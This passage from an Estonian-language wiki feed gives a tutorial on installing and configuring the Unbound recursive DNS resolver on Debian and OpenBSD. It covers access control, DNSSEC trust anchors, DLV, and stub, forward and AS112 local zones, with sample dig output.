* http://secspider.cs.ucla.edu/islands.html&lt;br /&gt;
* https://itar.iana.org/&lt;br /&gt;
* https://ns.iana.org/dnssec/status.html&lt;br /&gt;
* https://dlv.isc.org/&lt;br /&gt;
* http://en.wikipedia.org/wiki/AS112&lt;br /&gt;
* [[:Pädeva nimeserveri NSD kasutamine]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4246</id>
		<title>Rekursiivse resolveri Unbound kasutamine operatsioonisüsteemiga Debian</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4246"/>
		<updated>2026-06-18T05:05:32Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 2026 kevad märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Kategooria:Interneti domeeninimede süsteem]]&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
Üks võimalus liigitada nimeservereid või nimeserverite tarkvara on selle järgi, millised päringuid teenindatakse&lt;br /&gt;
&lt;br /&gt;
* pädev ehk autoriteetne (ingl. k. authoritative) - vastab päringutele ainult nimeserveri tsoonifailis kirjeldatud andmete alusel; autoriteetsed nimeserverid teenindavad reeglina resolverite päringuid&lt;br /&gt;
* rekursiivne (ingl. k. recursive) - rekursiivne nimeserver ei sisalda nö oma tsoonifaili, st ta ei ole mingite vastuste osas autoriteetne; rekursiivne nimeserver teenindab mingi piiratud hulga klientide päringuid lahendades neid autoriteetsete nimeserverite abil ja seetõttu nimetatakse rekursiivset nimeserverit tihti resolveriks (ingl. k. to resolve - lahendama)&lt;br /&gt;
&lt;br /&gt;
Unbound http://www.unbound.net/ resolveril on selliseid omadused&lt;br /&gt;
&lt;br /&gt;
* rekursiivne - lahendab nö lõppkasutaja esitatud päringuid, nt sobib seadistada töökohaarvuti nimeserveriks&lt;br /&gt;
* vaheladustav (ingl. k. caching) - Unbound peab kord lahendatud vastust mõnda aega meeles, mis tähendab, et järgmisele samale päringule vastab ta kliendile kohe ja ei pea omakorda pöörduma vastuse saamiseks autoriteetsete nimeserverite poole&lt;br /&gt;
* valideeriv - toetab DNSSEC kasutamist&lt;br /&gt;
* IPv6 tugi&lt;br /&gt;
&lt;br /&gt;
Rekursiivse resolveri vastutus on parimal võimalikul moel anda kliendi esitatud päringule vastus, seejuures&lt;br /&gt;
&lt;br /&gt;
* kasutada vastuse koostamisel mitmete pädevate nimeserverite abi&lt;br /&gt;
* anda õige vastus - nt mitte ennast lasta eksitada cache poisoning tehnikatest, võimalusel kasutada DNSSEC vahendeid&lt;br /&gt;
* vastata kiiresti&lt;br /&gt;
&lt;br /&gt;
===Unbound paigaldamine===&lt;br /&gt;
&lt;br /&gt;
2011 aastal leidub paljude operatsioonisüsteemide paketihalduses Unbound tarkvara. &lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze sisaldab versiooni 1.4.6 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install unbound&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
OpenBSD 5.4 sisaldab binaarse paketina versiooni 1.4.9 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pkg_add unbound      &lt;br /&gt;
 unbound-1.4.20:libldns-1.6.16p0: ok                                                                                                        &lt;br /&gt;
 useradd: Warning: home directory `/var/unbound' doesn't exist, and -m was not specified                                                    &lt;br /&gt;
 unbound-1.4.20: ok                                                                                                                         &lt;br /&gt;
 The following new rcscripts were installed: /etc/rc.d/unbound&lt;br /&gt;
 See rc.d(8) for details.&lt;br /&gt;
 --- +unbound-1.4.20 -------------------&lt;br /&gt;
 You should add:&lt;br /&gt;
 &lt;br /&gt;
     syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 to /etc/rc.conf.local to create a syslog socket in the unbound chroot.&lt;br /&gt;
&lt;br /&gt;
Selleks, et /etc/rc.d/unbound skript töötaks, peab olema seadistatud unbound-control (127.0.0.1 pealt).&lt;br /&gt;
&lt;br /&gt;
===Unbound seadistamine===&lt;br /&gt;
&lt;br /&gt;
Resolveri seadistusfailis tuleb näidata muu hulgas&lt;br /&gt;
&lt;br /&gt;
* juurnimeserverite aadressid&lt;br /&gt;
* millisel aadressil resolver päringuid teenindab&lt;br /&gt;
* millised kliendid saavad resolverit kasutada, tavaliselt kliendi src ip aadressi täpsusega&lt;br /&gt;
&lt;br /&gt;
Unbound tööd juhib seadistusfail unbound.conf&lt;br /&gt;
&lt;br /&gt;
* /etc/unbound/unbound.conf - Debian&lt;br /&gt;
* /var/unbound/etc/unbound.conf - OpenBSD&lt;br /&gt;
&lt;br /&gt;
Lihtsamal juhul võib kasutada nt sellise sisuga seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
     interface: 192.168.10.190&lt;br /&gt;
     outgoing-interface: 192.168.10.190&lt;br /&gt;
     access-control: 192.168.1.0/24 allow&lt;br /&gt;
     access-control: 192.168.10.0/24 allow_snoop&lt;br /&gt;
     root-hints: &amp;quot;/var/unbound/etc/named.cache&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* interface - millisel aadressil arvuti Unbound resolveri kliente teenindab&lt;br /&gt;
* outgoing-interface - milliselt aadressilt resolveri päringud autoriteetsetele nimeserveritele väljuvad&lt;br /&gt;
* access-control - millistelt ip aadressidelt saab Unbound resolverit kasutada; allow lubab esitada ainult rekursiivseid päringuid, nt +norec annab vaikimisi refused vastuse&lt;br /&gt;
&lt;br /&gt;
 $ dig +norec @nimeserver domeeni.nimi&lt;br /&gt;
 ...&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: REFUSED, id: 52133&lt;br /&gt;
&lt;br /&gt;
allow_snoop lubab mõlemaid (viimane on vajalik, et unbound kasutaja saaks öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig +trace @nimeserver domeeni.nimi&lt;br /&gt;
&lt;br /&gt;
* root-hints - resolver peab alati teadma interneti juurnimeserverite aadresse&lt;br /&gt;
&lt;br /&gt;
Juurnimeserverite aadresse saab küsida mõnes juba seadistatud resolveriga arvutis&lt;br /&gt;
&lt;br /&gt;
  $ dig . ns&lt;br /&gt;
&lt;br /&gt;
või kopeerida aadressilt Linuxis&lt;br /&gt;
&lt;br /&gt;
  $ wget ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
OpenBSD keskkonnas&lt;br /&gt;
&lt;br /&gt;
  $ ftp ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
===Unbound käivitamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolver teenindab päringuid portidel 53/udp ja 53/tcp.&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Unbound töötaks OpenBSD all chroot keskkonnas kataloogis /var/unbound kasutajana _unbound tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 chroot: &amp;quot;/var/unbound&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Et chroot keskkonnas töötav Unbound saaks logida syslog'i tuleb syslog käivitamisel lisaks kasutada '-a /var/unbound/dev/log'&lt;br /&gt;
&lt;br /&gt;
  # syslogd -a /var/www/dev/log -a /var/empty/dev/log -a /var/unbound/dev/log&lt;br /&gt;
&lt;br /&gt;
/etc/rc.conf.local failis sobib kasutada rida&lt;br /&gt;
&lt;br /&gt;
  syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2012 kevadel ütleb OpenBSD v. 5.1 paketihalduse unbound chroot kasutamisel kävitamisel nii&lt;br /&gt;
&lt;br /&gt;
 # unbound -dv                             &lt;br /&gt;
 [1335943357] unbound[20534:0] notice: Start of unbound 1.4.15.&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: increased limit(open files) from 128 to 4140&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: unable to setusercontext _unbound: Bad file descriptor&lt;br /&gt;
&lt;br /&gt;
Limiitide tuleb töötada sarnaselt nagu on kirjeldatud aadressil http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_OpenBSD_kasutamine#Login_class_kasutamine.&lt;br /&gt;
&lt;br /&gt;
Tavalisel viisil sobib kasutada käivitusskripti&lt;br /&gt;
&lt;br /&gt;
  # /etc/rc.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
Vastasel korral on logis midagi sellist&lt;br /&gt;
&lt;br /&gt;
 Mar 13 16:03:01 unbound[28759:0] error: can't create socket: Too many open files&lt;br /&gt;
&lt;br /&gt;
===Unbound kasutamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri kasutajateks on tavaliselt arvutid, mis vajavad nimelahendust, nt kohtvõrgu arvutid, eposti serverid jt kusjuures Unbound protsess töötab selleks ettenähtud arvutis või võrgusõlmeks olevas seadmes&lt;br /&gt;
&lt;br /&gt;
      internet&lt;br /&gt;
        ...&lt;br /&gt;
         |&lt;br /&gt;
        _|_&lt;br /&gt;
       |   | OpenBSD võrgusõlm&lt;br /&gt;
       |___| Unbound protsess&lt;br /&gt;
         |&lt;br /&gt;
   --|---|----------|-----------|--&lt;br /&gt;
     |              |           |&lt;br /&gt;
 &lt;br /&gt;
          dns kliendid (töökohaarvuti, serverid)&lt;br /&gt;
&lt;br /&gt;
Linux keskkonnas sobib näidata nimeserveri aadress staatiliselt arvuti /etc/resolv.conf failis nt reaga&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.10.190&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri tööd saab kontrollida nt öeldes mõnes arvutis, kus peab kõnealust resolverit saama kasutada&lt;br /&gt;
&lt;br /&gt;
  $ dig @192.168.10.190 kuutorvaja.eenet.ee a&lt;br /&gt;
&lt;br /&gt;
ja vastus peaks sisaldama sarnaseid ridu rida&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;kuutorvaja.eenet.ee.           IN      A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  kuutorvaja.eenet.ee.    83840   IN      A       193.40.0.7&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
===Nimepäringu vastuse valideerimine===&lt;br /&gt;
&lt;br /&gt;
Nimepäringute vastuste valideerimiseks kasutatakse üldiselt DNSSEC tehnikat. 2011 aastal on selleks mitmeid võimalusi, kaks populaarsemat on&lt;br /&gt;
&lt;br /&gt;
* signeeritud tsoonifailidega juurnimeserverite kasutamine, kõige loomulikum viis&lt;br /&gt;
* DLV (DNSSEC Look-aside Validation) - üleminekuaja häkk&lt;br /&gt;
&lt;br /&gt;
Kui nimeteenust kasutatakse sarnaselt ülaltoodud skeemile, siis peab arvestama, et DNSSEC kontroll toimub Unbound protsessi juures, sealt edasi kliendini liigub vastus tavalise avateksina üle kohtvõrgu ja klient otsustab vastuse turvalisuse üle ad biti järgi vastuses. Seetõttu on reeglina soovitav, et Unbound töötaks nimeteenust kasutatavatele arvutitele võimalikult lähedal.&lt;br /&gt;
&lt;br /&gt;
DNSSEC juurutamise kronoloogia&lt;br /&gt;
&lt;br /&gt;
* 15. juuli 2010 - juurnimeserverid kasutavad signeeritud tsoone http://www.root-dnssec.org/&lt;br /&gt;
* ? - .org tsoon on signeeritud&lt;br /&gt;
* 31. märts 2011 - .com tsoon on signeeritud http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
* http://blogs.pcmag.com/securitywatch/2011/03/dnssec_in_com_domain_is_a_good.php&lt;br /&gt;
&lt;br /&gt;
====Signeeritud tsoonifailiga juurnimeserverite kasutamine====&lt;br /&gt;
&lt;br /&gt;
Unbound seadistamiseks tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 auto-trust-anchor-file: &amp;quot;root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures fail peab olema unbound protsessile kirjutatav ning esialgselt sisaldama rida (as per http://unbound.net/documentation/howto_anchor.html)&lt;br /&gt;
&lt;br /&gt;
 # cat /var/unbound/etc/root.key&lt;br /&gt;
 . IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5&lt;br /&gt;
&lt;br /&gt;
 # chown _unbound /var/unbound/etc&lt;br /&gt;
 # chown _unbound:_unbound /var/unbound/etc/root.key&lt;br /&gt;
&lt;br /&gt;
Peale unbound protsessi käivitamist selle faili sisu muutub automaatselt.&lt;br /&gt;
&lt;br /&gt;
Kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig . ns +dnssec +multiline&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.7.2-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; . ns +dnssec +multiline&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 4737&lt;br /&gt;
 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;.                      IN NS&lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
 .                       518267 IN NS m.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS g.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS b.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS h.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS a.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS e.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS k.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS f.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS c.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS j.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS i.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS l.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS d.root-servers.net.&lt;br /&gt;
 .                       518267 IN RRSIG NS 8 0 518400 20110409000000 (&lt;br /&gt;
                                 20110401230000 34525 .&lt;br /&gt;
                                 De4SFgTDwpgbz1JjTlaPzu7ZNRURLSnoYmQQQIZq7Gny&lt;br /&gt;
                                 RghOrsvS1soH5F43Gxr5BIi+422EBLJIrEHFnbvLy22S&lt;br /&gt;
                                 LqKtSw67eDdsBZyjE5fTtDHyYhnoR8YQWswgGVMRk4Ek&lt;br /&gt;
                                 iDDMIOk5pF+CvbML6TlvTWrnPCwNWXnbLFnT9SY= )&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 10.192.0.53#53(10.192.0.53)&lt;br /&gt;
 ;; WHEN: Sat Apr  2 18:44:16 2011&lt;br /&gt;
 ;; MSG SIZE  rcvd: 397&lt;br /&gt;
&lt;br /&gt;
kus tuleb tähele panna&lt;br /&gt;
&lt;br /&gt;
* vastus sisaldab RRSIG kirjet&lt;br /&gt;
* flags: qr rd ra ad - ad tähistab, et tegu on authoritative data sisaldusega&lt;br /&gt;
&lt;br /&gt;
====DLV====&lt;br /&gt;
&lt;br /&gt;
DLV seadistamiseks tuleb &lt;br /&gt;
&lt;br /&gt;
* kopeerida trust anchor fail kataloogi /var/unbound/etc&lt;br /&gt;
&lt;br /&gt;
  # cd /var/unbound/etc&lt;br /&gt;
  # ftp http://ftp.isc.org/www/dlv/dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
* Unbound seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
  dlv-anchor-file: &amp;quot;dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
Valideeritud nimepäringu vastus näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
  $ dig www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  &lt;br /&gt;
  ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.5.1-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  ;; global options:  printcmd&lt;br /&gt;
  ;; Got answer:&lt;br /&gt;
  ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 56069&lt;br /&gt;
  ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
  &lt;br /&gt;
  ;; OPT PSEUDOSECTION:&lt;br /&gt;
  ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;www.kaminskybug.se.    IN A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  www.kaminskybug.se.     3590 IN CNAME fou.iis.se.&lt;br /&gt;
  www.kaminskybug.se.     3590 IN RRSIG CNAME 5 3 3600 20100205210001 (&lt;br /&gt;
                                  20100126210001 13358 kaminskybug.se.&lt;br /&gt;
                                  goEav1vWK49WEvGY/G1EBKOgekQk11JvjsQxE7chH6Kg&lt;br /&gt;
                                  OwZNpOXwomE1z9zvLcwkD60CQAZWC9psA1z01iIwtOrt&lt;br /&gt;
                                  Yq6L+2A0PLVAAuRYeY3CQnbHoHRYClCUz0dIkxhtz9f/&lt;br /&gt;
                                  Um1AuC3FtqV6t9q8lLb4ooav0Ex64KuwoPPxqqs= )&lt;br /&gt;
  fou.iis.se.             3590 IN A 212.247.204.242&lt;br /&gt;
  fou.iis.se.             3590 IN RRSIG A 5 3 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  BOPpSETDBKu6CjOcz2ULnOnfRVoXfOXj9OjW4zwjPuWl&lt;br /&gt;
                                  7vJ8630yXsuSEe89RuH/ZsuOGbeJnumQ/XmD6ftWL9yM&lt;br /&gt;
                                  MPUF1ZYxCtExaBcIxhxDIFJv4E4RZAOkbb9ZdYKTglIL&lt;br /&gt;
                                  zDleOOms0iVgCAnnWJSnmDpzhfvr8xoTGlh7myE= )&lt;br /&gt;
  &lt;br /&gt;
  ;; AUTHORITY SECTION:&lt;br /&gt;
  iis.se.                 3590 IN NS ns.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns3.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns2.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN RRSIG NS 5 2 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  B3SheLIv8ouVPpFGjvM8q5fl9ZMnnPWR8x9QDD0uSxoH&lt;br /&gt;
                                  iV2fYHjiKC5a2+8Znsi4zSdO2AmH+reUCP74qvYpkl1K&lt;br /&gt;
                                  +NbEzndzzrJQ0XlT1icy3MC6vdvgdE7Opqjab/7iIiYV&lt;br /&gt;
                                  X9UjZpHKR284EljSrKJ0z53/T+12P3K0VU/dRFE= )&lt;br /&gt;
   &lt;br /&gt;
  ;; Query time: 1 msec&lt;br /&gt;
  ;; SERVER: 10.53.67.69#53(10.53.67.69)&lt;br /&gt;
  ;; WHEN: Sun Jan 31 00:25:39 2010&lt;br /&gt;
  ;; MSG SIZE  rcvd: 648&lt;br /&gt;
&lt;br /&gt;
kus ad lipp annab tunnistust, et vastus on valideeritud&lt;br /&gt;
&lt;br /&gt;
  flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
====Firefox DNSSEC lisa kasutamine====&lt;br /&gt;
&lt;br /&gt;
Firefox DNSSEC lisa https://addons.mozilla.org/en-us/firefox/addon/dnssec-validator/ abil saab brauseri kasutamise ajal tagasisidet kuidas käesolev nimi on lahendatud, nt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Unbound-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Seejuures tuleb arvestada, et DNSSEC iseenest tähendab, et nimi lahendes turvaliselt, järgneva andmevahetuse turvalisus on eraldi küsimus ja nt https:// on üks viis selle saavutamiseks.&lt;br /&gt;
&lt;br /&gt;
===domain-insecure tsoonid===&lt;br /&gt;
&lt;br /&gt;
Kui kasutatakse signeeritud tsoonifailiga juurnimeservereid ning mõnele lokaalsele mitte-dnssec nimeserverile viitavaid stub-zone sissekandeid, siis võib olla asjakohane kasutada lisaks ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;auul&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Lokaalsed nimekirjeldused===&lt;br /&gt;
&lt;br /&gt;
Lisaks sellele, et Unboundi kasutab nimede lahendamisel võrgus töötavaid autoriteetseid nimeservereid, saab kirjeldada seadistusfailis päri- ja pöördteisendusi&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;loomaaed.tartu.ee&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;loomaaed.tartu.ee A 192.168.10.100&amp;quot;&lt;br /&gt;
 ..&lt;br /&gt;
 local-data-ptr: &amp;quot;192.168.10.100 loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* local-zone - lokaalselt unboundis kirjeldatud tsooni nimi&lt;br /&gt;
* static - sellel positsioonil st type parameeter määrab põhiliselt, kuidas mitte kirjeldatud nime küsimisele vastatakse&lt;br /&gt;
* local-data - päriteisendus&lt;br /&gt;
* local-data-prt - pöördteisendus&lt;br /&gt;
&lt;br /&gt;
type väärtused&lt;br /&gt;
&lt;br /&gt;
* static - local-data abil mitte kirjeldatud nime küsimisele vastatakse NXDOMAIN&lt;br /&gt;
* nodefault - AS112 tsoonide puhul vastab Unbound vaikimisi NXDOMAIN vastusega, nodefault puhul püütakse vastavaid nimesid lahendada&lt;br /&gt;
* transparent - local-data abil mitte kirjeldatud nimi püütakse lahenada internetist, stub-zone abil vms viisil&lt;br /&gt;
* redirect - kõik alamdomeenid vastatakse local-data abil näidatud väärtusega&lt;br /&gt;
&lt;br /&gt;
===Stub tsoon===&lt;br /&gt;
&lt;br /&gt;
Stub tsooni abil saab öelda, millist pädevat nimeserverit kasutada mõne domeeni nimelahenduseks. Praktiliselt võiks seda vaja minna kui asutuses on nt kasutusel mitte-avalik pädev nimeserver ja domeeni 'auul.' nimede lahendamiseks tuleks kasutada seda; vastasel korral püüaks Unbound neid nimesid lahendada pöördudes interneti juurnimeserverite poole.&lt;br /&gt;
&lt;br /&gt;
Seadistusfailis kirjeldatakse stub tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;auul&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeni nimi&lt;br /&gt;
* stub-addr - domeeni pädeva nimeserveri ip aadress&lt;br /&gt;
* stub sõna viitab asjaolule, et Unbound saab näidatud nimeserverilt otse vastuse kätte&lt;br /&gt;
&lt;br /&gt;
Kui stub-zone abil on vaja teha mõne privaatsete aadressidega /24 subneti jaoks pöördteisendusi, siis tuleb tõenäoliselt kasutada koostöös selliseid direktiive&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;1.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 local-zone: &amp;quot;2.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 ....&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
   name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
   stub-addr: 192.168.1.247&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
  name: &amp;quot;10.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Oluline on panna tähele, et korrektsel juhul lahendatakse kirjeldatud tsoonid stub-addr nimeserveri poolt, muud privaatsed aadressid saavad vastuseks (vastuse genereerib Unbound ise)&lt;br /&gt;
&lt;br /&gt;
 $ dig -x 192.168.5.5&lt;br /&gt;
 .. &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 1480&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.      IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   10800   IN      SOA     localhost. nobody.invalid. 1 3600 1200 604800 10800&lt;br /&gt;
&lt;br /&gt;
Kui vastus on, siis midagi on valesti, sest Unbound on seda käinud internetis lahendamas&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.     IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   86400   IN      SOA     prisoner.iana.org. hostmaster.trex.fi. 1 604800 86400 2419200 86400&lt;br /&gt;
&lt;br /&gt;
===Forward tsoon===&lt;br /&gt;
&lt;br /&gt;
Forward tsooni abil saab öelda, millist rekursiivset nimeserverit kasutada mõne domeeni nimelahenduseks. Seadistusfailis kirjeldatakse forward tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;loomla.tartu.ee&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeninimi&lt;br /&gt;
* forward-addr - rekursiivse nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
Selleks, et suunata kõik päringud lahendamiseks edasi sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;.&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
===AS112 tsoonid===&lt;br /&gt;
&lt;br /&gt;
AS112 tsoonide hulka kuuluvad sellised pöördteisenduse tsoonid, vaikimisi vastab AS112 tsooni tehtud päringutele Unbound NXDOMAIN (põhjusel, et sisemiste arvutite poolt tehtud pöördteisenduspäringud ei jõuaks avalikku võrku)&lt;br /&gt;
&lt;br /&gt;
* 10.in-addr.arpa&lt;br /&gt;
* 16.172.in-addr.arpa&lt;br /&gt;
* ...&lt;br /&gt;
* 31.172.in-addr.arpa&lt;br /&gt;
* 168.192.in-addr.arpa&lt;br /&gt;
* 254.169.in-addr.arpa&lt;br /&gt;
* 2.0.192.in-addr.arpa&lt;br /&gt;
* 100.51.198.in-addr.arpa&lt;br /&gt;
* 113.0.203.in-addr.arpa&lt;br /&gt;
&lt;br /&gt;
Lisaks lahendab Unbound vaikimisi mõlemas suunas localhost - 127.0.0.1 teisendust justkui oleks kirjeldatud (sarnaselt on kirjeldatud ka IPv6 ::1)&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;localhost.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN A 127.0.0.1&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN AAAA ::1&lt;br /&gt;
 ..&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;127.in-addr.arpa.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
